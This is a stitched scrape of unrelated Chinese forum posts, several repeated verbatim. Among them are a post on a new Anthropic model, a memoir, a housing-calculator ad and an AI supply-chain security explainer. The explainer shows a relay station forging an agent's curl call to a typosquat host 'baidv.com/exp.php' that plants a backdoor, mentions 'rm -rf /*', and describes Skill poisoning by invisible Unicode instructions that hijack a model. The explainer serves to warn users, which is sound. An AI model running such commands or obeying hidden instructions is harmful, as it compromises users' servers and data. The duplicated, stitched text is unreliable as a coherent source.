Anthropic 最强模型 Fable 5 公开：能力确实封顶，但普通人的订阅额度可能真不够它烧 最近 Anthropic 悄悄发布了新模型 Claude Fable 5 。之所以想发个帖聊聊，一方面是因为 Anthropic 终于把他们之前一直藏着掖着的、内部最强的那档能力开放给所有人了；另一方面是刚发布没多久，就有不少订阅用户在吐槽，说开着它干活，那额度掉得肉眼可见。 今天就和大家盘一盘 Fable 5 到底强在哪，以及为什么它这么吃额度。大家也可以看完后自己评估下，以后在什么场景下才舍得用它。 核心定位：解禁的内部“大杀器” Fable 5 的核心突破不在于又去刷了什么新榜单，而在于它的“血统”。它出自 Anthropic 内部被称为 Mythos （或者 Mus ）的顶级能力系列。 过去因为能力太强、破坏力有点大，官方一直不敢公开，只在一个叫 Project Blastwing 的项目里，小范围给安全从业者和基础设施方做强审计使用。它在找漏洞、写攻击代码这方面非常强，在安全圈子里引起过不小的震动。而这次发布的 Fable 5 ，是这档能力第一次做成人人可用的正式版。 性能表现：任务越复杂，甩开同行的差距就越大 官方对它的评价是：能力超越了以往任何一个公开过的模型。特别是在软件工程、知识工作、视觉理解和科学研究这几个方面，基本都站到了第一梯队。 在实际测评分数上，它的表现确实有点夸张： SWE-bench Pro （真实 GitHub 硬核编程测试）： 它跑出了 80.3 的高分。作为对比，Opus 4.8 是 69.2 ，而 GPT-5.5 只有 58.6 。 SWE-bench Verified （更主流的基准）： 它的分数直接逼近封顶的 95 分。 Frontier Code Diamond （最拉开差距的顶尖 Agent 编程）： 它拿到了 29.3 分，而第二名 Opus 4.8 只有 13.4 ，GPT-5.5 更是只有 5.7 。 简单来说，看起越是复杂、越需要自主多步跑完的 Agent 编程任务，它的优势就越降维打击。 日常应用中也有现成的例子。比如 Stripe 在早期测试时，用它做了一次老代码迁移，一天时间就搞定了 5000 万行的 Ruby 代码。而这笔工作，Stripe 原本预计要派团队啃两个多月。 安全机制：三道防线与自动“降级” 能力太强带来的副作用就是容易被滥用。为了能合规公开，Anthropic 给它套了三道安全防线，分别盯着：网络安全（防漏洞利用和攻击类请求）、生物化学（拦截危险病毒设计）以及防盗流（拦截用它的输出来训练其他模型）。 如果你提的问题触发了这三道防线，Fable 5 并不会直接拒绝你，而是会把任务自动“降级”，转交给更保守、更安全的 Opus 4.8 来处理。虽然偶尔会误伤一些正常提问，但官方称 95% 以上的会话全程都会由 Fable 5 自己跑完，不会触发回退。 额度迷局：为什么感觉额度掉得像火箭一样快？ 模型很强没有争议，但这两天吐槽“订阅额度瞬间被吸干”的人也确实不是错觉。背后主要有两个现实原因： 官方单价直接翻倍： Fable 5 的 API 定价是输入 10 美元/百万 token ，输出 50 美元/百万 token 。这个价格正好是 Opus 4.8 的两倍，也是目前主流模型里最贵的一档。 它在你看不到的地方“想得太多”： 越能干的模型，单轮跑得就越久。它为了把一件事做得更完整，会在后台自己推演很多步。你可能只提了一个简单要求，它在后台深构、深思吐出来的 token 却是以前的好几倍。所以哪怕 Anthropic 没改订阅计费规则，它自己干的活变多了，额度自然消耗得极快。 划重点：免费窗口期马上关闭 目前在 Claude Web 端，Fable 5 在订阅计划里还是限时免费的，不额外收钱。但大家注意看界面提示，这个免费窗口期截止到 6 月 23 日。 到了 6 月 23 日之后，它就会被移出目前的订阅额度计划。想继续用，就得改走预付费的 usage credits 模式，直接按 API 的真实消耗价格从你充进去的钱里扣。 一点使用建议 Fable 5 把大模型的能力上限又往上推了一截，这肯定是好事。但在两周的免费期过后，大家可能得精打细算一下了： 那些真正复杂的、难搞的、能产生实际高价值的硬核代码和长任务，再交给他去交底。 至于日常聊天、轻量级的日常任务，还是留给更便宜的 Opus 4.8 或其他模型吧。 大家这两天体验下来感觉如何？欢迎在帖子里聊聊。
Anthropic 最强模型 Fable 5 公开：能力确实封顶，但普通人的订阅额度可能真不够它烧 最近 Anthropic 悄悄发布了新模型 Claude Fable 5 。之所以想发个帖聊聊，一方面是因为 Anthropic 终于把他们之前一直藏着掖着的、内部最强的那档能力开放给所有人了；另一方面是刚发布没多久，就有不少订阅用户在吐槽，说开着它干活，那额度掉得肉眼可见。 今天就和大家盘一盘 Fable 5 到底强在哪，以及为什么它这么吃额度。大家也可以看完后自己评估下，以后在什么场景下才舍得用它。 核心定位：解禁的内部“大杀器” Fable 5 的核心突破不在于又去刷了什么新榜单，而在于它的“血统”。它出自 Anthropic 内部被称为 Mythos （或者 Mus ）的顶级能力系列。 过去因为能力太强、破坏力有点大，官方一直不敢公开，只在一个叫 Project Blastwing 的项目里，小范围给安全从业者和基础设施方做强审计使用。它在找漏洞、写攻击代码这方面非常强，在安全圈子里引起过不小的震动。而这次发布的 Fable 5 ，是这档能力第一次做成人人可用的正式版。 性能表现：任务越复杂，甩开同行的差距就越大 官方对它的评价是：能力超越了以往任何一个公开过的模型。特别是在软件工程、知识工作、视觉理解和科学研究这几个方面，基本都站到了第一梯队。 在实际测评分数上，它的表现确实有点夸张： SWE-bench Pro （真实 GitHub 硬核编程测试）： 它跑出了 80.3 的高分。作为对比，Opus 4.8 是 69.2 ，而 GPT-5.5 只有 58.6 。 SWE-bench Verified （更主流的基准）： 它的分数直接逼近封顶的 95 分。 Frontier Code Diamond （最拉开差距的顶尖 Agent 编程）： 它拿到了 29.3 分，而第二名 Opus 4.8 只有 13.4 ，GPT-5.5 更是只有 5.7 。 简单来说，看起越是复杂、越需要自主多步跑完的 Agent 编程任务，它的优势就越降维打击。 日常应用中也有现成的例子。比如 Stripe 在早期测试时，用它做了一次老代码迁移，一天时间就搞定了 5000 万行的 Ruby 代码。而这笔工作，Stripe 原本预计要派团队啃两个多月。 安全机制：三道防线与自动“降级” 能力太强带来的副作用就是容易被滥用。为了能合规公开，Anthropic 给它套了三道安全防线，分别盯着：网络安全（防漏洞利用和攻击类请求）、生物化学（拦截危险病毒设计）以及防盗流（拦截用它的输出来训练其他模型）。 如果你提的问题触发了这三道防线，Fable 5 并不会直接拒绝你，而是会把任务自动“降级”，转交给更保守、更安全的 Opus 4.8 来处理。虽然偶尔会误伤一些正常提问，但官方称 95% 以上的会话全程都会由 Fable 5 自己跑完，不会触发回退。 额度迷局：为什么感觉额度掉得像火箭一样快？ 模型很强没有争议，但这两天吐槽“订阅额度瞬间被吸干”的人也确实不是错觉。背后主要有两个现实原因： 官方单价直接翻倍： Fable 5 的 API 定价是输入 10 美元/百万 token ，输出 50 美元/百万 token 。这个价格正好是 Opus 4.8 的两倍，也是目前主流模型里最贵的一档。 它在你看不到的地方“想得太多”： 越能干的模型，单轮跑得就越久。它为了把一件事做得更完整，会在后台自己推演很多步。你可能只提了一个简单要求，它在后台深构、深思吐出来的 token 却是以前的好几倍。所以哪怕 Anthropic 没改订阅计费规则，它自己干的活变多了，额度自然消耗得极快。 划重点：免费窗口期马上关闭 目前在 Claude Web 端，Fable 5 在订阅计划里还是限时免费的，不额外收钱。但大家注意看界面提示，这个免费窗口期截止到 6 月 23 日。 到了 6 月 23 日之后，它就会被移出目前的订阅额度计划。想继续用，就得改走预付费的 usage credits 模式，直接按 API 的真实消耗价格从你充进去的钱里扣。 一点使用建议 Fable 5 把大模型的能力上限又往上推了一截，这肯定是好事。但在两周的免费期过后，大家可能得精打细算一下了： 那些真正复杂的、难搞的、能产生实际高价值的硬核代码和长任务，再交给他去交底。 至于日常聊天、轻量级的日常任务，还是留给更便宜的 Opus 4.8 或其他模型吧。 大家这两天体验下来感觉如何？欢迎在帖子里聊聊。
十年前，我刚满 24 岁，风华正茂的年纪，大概这个年纪的我不会想到自己会普普通通的度过后面的十年甚至是未来的几十年，即便那时能力平平对未来也是满怀希望，这年我经历了人生中的第一次失业，因为公司破产被动离了职，然后准备从黑龙江回河南，回来前跟一个去了北京小师弟打电话，谈起近况，他告诉我他目前去了一家互联网公司，成为了一名程序员。 那时的我还不太了解互联网开发这个行业，也不知道程序员是什么，眼中脑子里的互联网就是玩玩电脑，办办公，打游戏，够肤浅的吧，谈话里他说到程序开发，一行行神秘的代码(对没入行的我确实神秘)就能让程序跑起来变成应用，我虽说听的云里雾里，心中却产生了巨大的兴趣，要么怎说兴趣是最好的老师呢，挂完电话我就开始去了解相关的知识。 当时就十分上头的拍板决定，既然失业了就换个方向，趁着年轻学学开发！记得从黑龙江到河南，我连家都没回直接就去参加了培训，不是科班出身还是决定系统的去学习下，报了班在郑州学习差不多一年的时间，忘记当时培训班中有多少人，反正一间大的教室坐得满满当当。那时是培训班大热的年代。 培训期间认识了几个朋友，直到现在还保着紧密的联系，我常感叹说世间如此的大，有着相同经历的人却少之又少，大家能相逢已是天大的缘分，能因为共同的理想成为挚友更是难得。我们参加完培训已经是一年后，那时互联网开发都是大城市需求多，因此我们又从河南踏上了上海的行程。 路途中我看着大家的脸全都挂满了兴奋与激动之色，我的内心又怎能平静呢，难以言表的沸腾，上海呐，国际大都市，看不尽的繁华，数不尽的机遇，充满活力充满希望，那年我们斗志昂扬夸下海口，要在上海滩扎住根，谁又能想到不到三两年就又经离别呢。 现实与理想总是会激烈的碰撞，机遇和挑战并存，上海这么好这么大我们又这么多天真，热情退却后总是要面对所有的不确定，有人在这里不到一年就黯然退场，有人三三两两结伴转了行，再想起除了唏嘘便是沉默。 我的十年中有五年在上海度过，这五年我没太大作为拿着不高不低的工资，过着不好不坏的生活，一起来的朋友又因各种原因天涯海角各居一方。五年里，谈过两次恋爱也承受两次分别之痛，依然是这五年人生经历了一次刻骨铭心的变故差点让我一蹶不振，也因此从上海又回到了河南。 想起三十而立的岁数，我却如一堵被推倒的墙，轰然倒塌，本以为会浑浑噩噩的任往后余生浪费，好在家人的包容与关爱将我从崖底拉回了地面，后面的五年我在一座名不见经传的小城，融入慢节奏的生活调整心态，慢慢又找回自己，不再悲观也不再消极，当然这五年会迷茫会找不到方向，一个三十来岁的普通人又该如何，会因此焦虑，接着又与自己和解，有什么是比健康自由的活着更让人知足的呢。 人生中的十年也就转眼之间，从热烈磅礴到内敛成熟，不再天马行空的觉着自己会是世界的主角，不奢望世间万般目光皆聚焦于我，一个普通的人，在这茫茫人海间，在这亿万年的文明里沧海一粟罢了。家人在身边，简单，普通生活，平安顺遂，乃万幸。 10 个帖子 - 8 位参与者 阅读完整话题
普通软件开源可以有人提供贡献 LLM好像普通人也没法贡献什么 1 个帖子 - 1 位参与者 阅读完整话题
蹦不住了佬，在上海打拼太累了。求活路唉，被社会摧残的有些伤感了 7 个帖子 - 5 位参与者 阅读完整话题
在买房这件事上，没买过房子的普通人面临的最大痛点是「买不起」， 其次「算不清」—— 新房，二手房子，最后需要多少现金等。 这是最近我买房碰到的问题。 如何快速的找到符合自己预算的房子，每次都要摁计算器算首付、月供之类的，烦死了。 针对这个场景，直接写了个 web 纯 js 计算的计算器，不收集任何数据。 只需要输入房子多少平，交易价多少，立马算出首付现金流及月供。 在线体验： https://fangben.cc 文档： https://doc.fangben.cc 买房不踩坑，先用房本!（你别说 ai 生成的 slogan 还挺不错） PS： 我已上车，最后也祝大家都买到适合自己的好房子！ 如果这个计算器节省了你的时间，请赞赏！
在买房这件事上，没买过房子的普通人面临的最大痛点是「买不起」， 其次「算不清」—— 新房，二手房子，最后需要多少现金等。 这是最近我买房碰到的问题。 如何快速的找到符合自己预算的房子，每次都要摁计算器算首付、月供之类的，烦死了。 针对这个场景，直接写了个 web 纯 js 计算的计算器，不收集任何数据。 只需要输入房子多少平，交易价多少，立马算出首付现金流及月供。 在线体验： https://fangben.cc 文档： https://doc.fangben.cc 买房不踩坑，先用房本!（你别说 ai 生成的 slogan 还挺不错） PS： 我已上车，最后也祝大家都买到适合自己的好房子！ 如果这个计算器节省了你的时间，请赞赏！
在买房这件事上，没买过房子的普通人面临的最大痛点是「买不起」， 其次「算不清」—— 新房，二手房子，最后需要多少现金等。 这是最近我买房碰到的问题。 如何快速的找到符合自己预算的房子，每次都要摁计算器算首付、月供之类的，烦死了。 针对这个场景，直接写了个 web 纯 js 计算的计算器，不收集任何数据。 只需要输入房子多少平，交易价多少，立马算出首付现金流及月供。 在线体验： https://fangben.cc 文档： https://doc.fangben.cc 买房不踩坑，先用房本!（你别说 ai 生成的 slogan 还挺不错） PS： 我已上车，最后也祝大家都买到适合自己的好房子！ 如果这个计算器节省了你的时间，请赞赏！
在买房这件事上，没买过房子的普通人面临的最大痛点是「买不起」， 其次「算不清」—— 新房，二手房子，最后需要多少现金等。 这是最近我买房碰到的问题。 如何快速的找到符合自己预算的房子，每次都要摁计算器算首付、月供之类的，烦死了。 针对这个场景，直接写了个 web 纯 js 计算的计算器，不收集任何数据。 只需要输入房子多少平，交易价多少，立马算出首付现金流及月供。 在线体验： https://fangben.cc 文档： https://doc.fangben.cc 买房不踩坑，先用房本!（你别说 ai 生成的 slogan 还挺不错） PS： 我已上车，最后也祝大家都买到适合自己的好房子！ 如果这个计算器节省了你的时间，请赞赏！
在买房这件事上，没买过房子的普通人面临的最大痛点是「买不起」， 其次「算不清」—— 新房，二手房子，最后需要多少现金等。 这是最近我买房碰到的问题。 如何快速的找到符合自己预算的房子，每次都要摁计算器算首付、月供之类的，烦死了。 针对这个场景，直接写了个 web 纯 js 计算的计算器，不收集任何数据。 只需要输入房子多少平，交易价多少，立马算出首付现金流及月供。 在线体验： https://fangben.cc 文档： https://doc.fangben.cc 买房不踩坑，先用房本!（你别说 ai 生成的 slogan 还挺不错） PS： 我已上车，最后也祝大家都买到适合自己的好房子！ 如果这个计算器节省了你的时间，请赞赏！
在买房这件事上，没买过房子的普通人面临的最大痛点是「买不起」， 其次「算不清」—— 新房，二手房子，最后需要多少现金等。 这是最近我买房碰到的问题。 如何快速的找到符合自己预算的房子，每次都要摁计算器算首付、月供之类的，烦死了。 针对这个场景，直接写了个 web 纯 js 计算的计算器，不收集任何数据。 只需要输入房子多少平，交易价多少，立马算出首付现金流及月供。 在线体验： https://fangben.cc 文档： https://doc.fangben.cc 买房不踩坑，先用房本!（你别说 ai 生成的 slogan 还挺不错） PS： 我已上车，最后也祝大家都买到适合自己的好房子！ 如果这个计算器节省了你的时间，请赞赏！
目前来说信访对于普通人是一件非常困难的事情，大部分人讲不清楚问题的要害点，不知道应该对应哪条法律以及违规项。 如果使用 AI 能够流程化的帮助普通人进行信访材料整理以及流程梳理，那这将是一件非常有意义的事情。 需要用户把前因后果描述清楚，然后通过 LLM 进行分析帮助用户修正并让用户补齐描述内容中缺少的关键信息。将信访这件事情流程化让老百姓信访不在困难。 依法信访流程助手 + 材料整理工具 + 证据清单工具 + 管辖路径导航工具 目前市场上有类似的产品吗
目前来说信访对于普通人是一件非常困难的事情，大部分人讲不清楚问题的要害点，不知道应该对应哪条法律以及违规项。 如果使用 AI 能够流程化的帮助普通人进行信访材料整理以及流程梳理，那这将是一件非常有意义的事情。 需要用户把前因后果描述清楚，然后通过 LLM 进行分析帮助用户修正并让用户补齐描述内容中缺少的关键信息。将信访这件事情流程化让老百姓信访不在困难。 依法信访流程助手 + 材料整理工具 + 证据清单工具 + 管辖路径导航工具 目前市场上有类似的产品吗
目前来说信访对于普通人是一件非常困难的事情，大部分人讲不清楚问题的要害点，不知道应该对应哪条法律以及违规项。 如果使用 AI 能够流程化的帮助普通人进行信访材料整理以及流程梳理，那这将是一件非常有意义的事情。 需要用户把前因后果描述清楚，然后通过 LLM 进行分析帮助用户修正并让用户补齐描述内容中缺少的关键信息。将信访这件事情流程化让老百姓信访不在困难。 依法信访流程助手 + 材料整理工具 + 证据清单工具 + 管辖路径导航工具 目前市场上有类似的产品吗
原本的计划是全面的科普一下普通人会遇到的一些AI安全问题，还包括提示词注入，RAG投毒等。但是最近实在感觉精疲力竭，没有什么精力去研究了，于是产生了这篇半途而废版，如果有看完的佬友应该能发现从SKILL那里就已经是不想写了。就放搞七捻三了。就当一个小科普吧，大家当个故事看 引言 随着大模型技术的快速发展，与之相关的技术生态也在不断壮大。MCP、RAG、Skill 这些概念越来越频繁地出现在我们的视野中，甚至逐渐变得日常。如今，不止是程序员，几乎所有接触互联网的人，都开始慢慢使用豆包、元宝这类 ChatBot。前段时间 OpenClaw（龙虾）的爆火，掀起了一股“养虾潮”，也让“Agent”这个词走进了更多人的认知。现在，Codex、Claude Code 等工具几乎成为一线网络相关从业人员的标配，覆盖了短视频从业者、金融从业者，甚至老师和普通学生。然而，随着 Agent 的普及，AI 供应链的安全问题也必须进入我们的视野——因为这关乎到我们每一个人的安全。 本文将围绕着我们普通人将会接触到的一些ai供应链的安全问题所展开。 一、AI中转站安全 AI中转站可能是普通人使用AI最先接触到的东西。 发生原因 大家都知道ai好用，但是随着我们对ai的依赖的深化，token的消耗也在呈指数级上升（特别是国外模型）,所以此时对于AI的使用发生了这几个问题： token费用难以承受，日常成本正在提高 对于海外模型还存在网络问题，开发、日常体验的感受大打折扣 账号存在一定的封号问题 基于以上的问题，我们在ai时代出现了一种新的商业组织—— 中转站 中转站的出现为我们提供了很多的便利：价格低、国内直连所以速度快，稳定。但是与此同时，它的背后也藏着我们看不到的风险。 中转站为什么会有风险，总体来说就是由于中转站处于用户和上游API之间的中间桥段，我们和AI公司之间所有的通信都要经过它，所以这之间的一切，理论上他都拥有绝对控制权。 核心危险汇总 中转站的危险主要有以下方面： 数据泄露 、 模型造假 、 命令执行（工具调用伪造） 模型造假 这是我们最先会想到的，大部分人可能都有这种担心。很遗憾，关于模型的真假，确实只能凭中转站的良心了。 因为实现方法太简单了。 # 用户请求中的 model 字段 {"model": "claude-opus-4.7", "messages": [...]} # 中转站转发时替换为 {"model": "deepseek-v4-flash", "messages": [...]} 中转站只要在这个不起眼的model字段做一个小小的改动，你以为的opus4.7实际请求的就是deepseek了。中间相差的价格各位都应该清楚。 这对于非重度使用的人来说几乎无法发现，甚至经常使用的人可能说：”opus的风格这么独特，换成deepseek我怎么可能看不出来“。现在大家应该都听过skill吧，加上 前任.skill 它就能模仿你前任的语气，那如果给deepseek加上 claude.skill 呢？ 数据泄露 中转站处于通信的中心节点，可以无条件看到并记录所有双向交互数据： （图片来自 【AI供应链威胁】API 中转站投毒的攻击链深入分析 ） 可以看到，在我们使用AI的过程中，所有的请求和响应中转站都是可以无条件查看的，应该所有流量都要经过它，过程中中转站利用脚本监控日志的方式可以轻松实现任意信息的转存，甚至修改。 这些情况我们作为用户是完全没有办法察觉的。 造成的后果 ： 敏感资产暴露， .env 文件、项目账号密码 等明文暴露。 长期使用导致画像暴露，攻击者通过长期收集信息，完善整个项目流程，方便后续对业务进行白盒攻击 实际演示： 命令执行（工具调用伪造） 这是最危险，危害最大的攻击。 事想一下你在你的服务器上部署了claude code，并且调用了中转站的api，你让它去做其他合法请求请求的过程中： curl -i -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" \ -H "Accept: text/html,application/xhtml+xml" \ -H "Accept-Language: zh-CN,zh;q=0.9" \ http://baidu.com # 被换成了 curl -i -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" \ -H "Accept: text/html,application/xhtml+xml" \ -H "Accept-Language: zh-CN,zh;q=0.9" \ http://baidv.com/exp.php 如此长的命令，你真的会发现吗，此时你点击了 “yes” ，也就意味着你的服务器已经被植入了后门。 更别说你让他执行一些删除文件的操作时给你执行 rm -rf /* 了。 他造成的后果： 任意命令执行： Agent 通常具备本地系统或开发环境的读写权限。在自动执行、弱确认或用户误确认的场景下，可能导致本地命令执行。 越权与长期控制： 如果伪造的指令包含下载恶意脚本或建立外部网络连接，这种行为风险将直接演变为系统被远控（GetShell）或植入长期后门，导致机器沦为肉鸡。 二、SKILL投毒 大家平时都会使用来自各种来源的skill提高自己的效率，但是其实skill也会存在投毒的情况。甚至可以让你看不到 这里举一个简单的例子： 你可能说你看一下SKILL.md就看到了。 你完全发现不了。因为这涉及到一种 Unicode隐藏字符 的技术。大概的原理就是使用了一些在大部分编辑器下是不可见字符的Unicode编码。导致我们肉眼是看不到的，但是LLM是可以看见的： 关于更多技术原理就不多说了，本文仅作为科普。感兴趣可以自行查看 【AI供应链威胁】Unicode隐藏指令Skills后门的实践与思考 我这个案例大家复现不一定成果，因为我用了opus4.6（且不一定保真），而且做了很多实验才偶尔成功。但是这里想说的是，我这个投毒是非常明显，赤裸裸的写出来了命令执行。那如果稍加修饰，引入更多提示词注入技术，还有利用远程服务器，以curl的形式命令执行，并且放在一个非常复杂的skill文件中，那么隐蔽性危害就可想而知了 这里有一个网站给大家，可以自查一下，我也是用它制作的SKILL。 embracethered.com ASCII Smuggler - Crafting Invisible Text and Decoding Hidden Secret - Embrace... Convert ASCII text into invisible Unicode encodings using Unicode Tags, Variant Selectors, and Sneaky Bits, and decode hidden messages. 效果： 把文本张贴进去就会自动检测是否有隐藏unicode字符，点击 Encode & Copy 就会编码并自动复制，然后张贴进SKILL.md就好了。 当然这是一种比较少见的绕过检测的技术，大部分就是直接明文写入，只是隐藏的比较好，大家多注意野生SKILL不要随便用即可。 三、MCP投毒 其实mcp和skill同理，会隐藏一些提示词，这里就放个案例吧 截图来自 悬镜-2025开源供应链投毒分析技术报告 9 个帖子 - 5 位参与者 阅读完整话题
B 端工业革命，类似于蒸汽机改进 一开始对普通人几乎没有影响，但是新开的工厂，都得上新蒸汽机 今天新开的公司企业，都得搞得上 AI 作为企业标配 主要是美国主导的全球工业体系上游，杀疯了 韩国过万亿两家，台湾一家，美国就太多了 最重要的是：他们是基于利润带来的股票增长 比如英伟达，泡沫个得啊，只要保持这个利润和这个恐怖的增长曲线，股价感觉这辈子掉不下来
只要 AI 开始修正回调，对金融和就业会产生不小冲击，感觉普通人相比于有钱人更难以熬过 AI 的修正。 唯一出路只能不停的学习，努力提升自身价值，不放弃一直学习也是比较少人能做到的。 1 个帖子 - 1 位参与者 阅读完整话题
B 端工业革命，类似于蒸汽机改进 一开始对普通人几乎没有影响，但是新开的工厂，都得上新蒸汽机 今天新开的公司企业，都得搞得上 AI 作为企业标配 主要是美国主导的全球工业体系上游，杀疯了 韩国过万亿两家，台湾一家，美国就太多了 最重要的是：他们是基于利润带来的股票增长 比如英伟达，泡沫个得啊，只要保持这个利润和这个恐怖的增长曲线，股价感觉这辈子掉不下来
B 端工业革命，类似于蒸汽机改进 一开始对普通人几乎没有影响，但是新开的工厂，都得上新蒸汽机 今天新开的公司企业，都得搞得上 AI 作为企业标配 主要是美国主导的全球工业体系上游，杀疯了 韩国过万亿两家，台湾一家，美国就太多了 最重要的是：他们是基于利润带来的股票增长 比如英伟达，泡沫个得啊，只要保持这个利润和这个恐怖的增长曲线，股价感觉这辈子掉不下来
B 端工业革命，类似于蒸汽机改进 一开始对普通人几乎没有影响，但是新开的工厂，都得上新蒸汽机 今天新开的公司企业，都得搞得上 AI 作为企业标配 主要是美国主导的全球工业体系上游，杀疯了 韩国过万亿两家，台湾一家，美国就太多了 最重要的是：他们是基于利润带来的股票增长 比如英伟达，泡沫个得啊，只要保持这个利润和这个恐怖的增长曲线，股价感觉这辈子掉不下来